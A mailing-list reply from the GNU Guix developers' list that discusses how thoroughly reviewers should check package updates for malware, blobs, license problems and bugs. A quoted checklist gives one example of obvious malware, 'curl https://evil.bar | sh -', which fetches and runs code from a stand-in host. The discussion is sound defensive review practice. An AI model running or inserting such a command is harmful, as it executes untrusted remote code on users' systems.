From: "Ludovic Courtès" <ludo@gnu.org>
To: Maxime Devos <maximedevos@telenet.be>
Cc: guix-devel@gnu.org
Subject: Re: Reviewing the diff when updating a package?
Date: Tue, 05 Apr 2022 14:34:35 +0200 [thread overview]
Message-ID: <87wng3ogis.fsf@gnu.org> (raw)
In-Reply-To: <524c815e2d10f4012eb5f0192755b76b2297af6b.camel@telenet.be> (Maxime Devos's message of "Sat, 02 Apr 2022 10:27:45 +0200")
Hi,
Maxime Devos <maximedevos@telenet.be> skribis:
> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable. I think ‘no malware (AFAWCT)’
> is an important property of a distribution.
Agreed.
> I look for the following things:
>
> 1. additional bundled software
> 2. code with a different license than mentioned in the 'license'
> field (especially if it's propietary)
> 3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
> 4. blobs (possibly hiding malware)
> 5. things that look like bugs (e.g. not checking the return value of
> 'malloc' for NULL, not escaping things written to HTML documents
> ...)
>
> I think I can reliably detect (1,3,4). I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis
I usually check #1, #2, and #4 for new packages; for an update, I pay
much less attention to those.
The other checks you describe are laudable, and it’s great if someone
can do that. But I think we should not hold every review to this high
standard, nor suggest that we’re uniformly following that standard—it’s
just not feasible.
We need to find a balance between “thoroughly-reviewed” and “lively”,
which are usually antithetical. I’d rather have more reviewers doing a
couple of the items above than no reviewers at all (and lately we’ve
been desperately short on reviewers!).
Thanks,
Ludo’.
prev parent reply other threads:[~2022-04-05 12:35 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <0035734f12073a2f50d41641f66dacc35e2e6a2c.camel@telenet.be>
2022-04-02 1:59 ` Reviewing the diff when updating a package? Thiago Jung Bauermann
2022-04-02 8:27 ` Maxime Devos
2022-04-02 21:48 ` Thiago Jung Bauermann
2022-04-05 12:34 ` Ludovic Courtès [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
List information: https://guix.gnu.org/
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=87wng3ogis.fsf@gnu.org \
--to=ludo@gnu.org \
--cc=guix-devel@gnu.org \
--cc=maximedevos@telenet.be \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
Code repositories for project(s) associated with this public inbox
https://git.savannah.gnu.org/cgit/guix.git
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).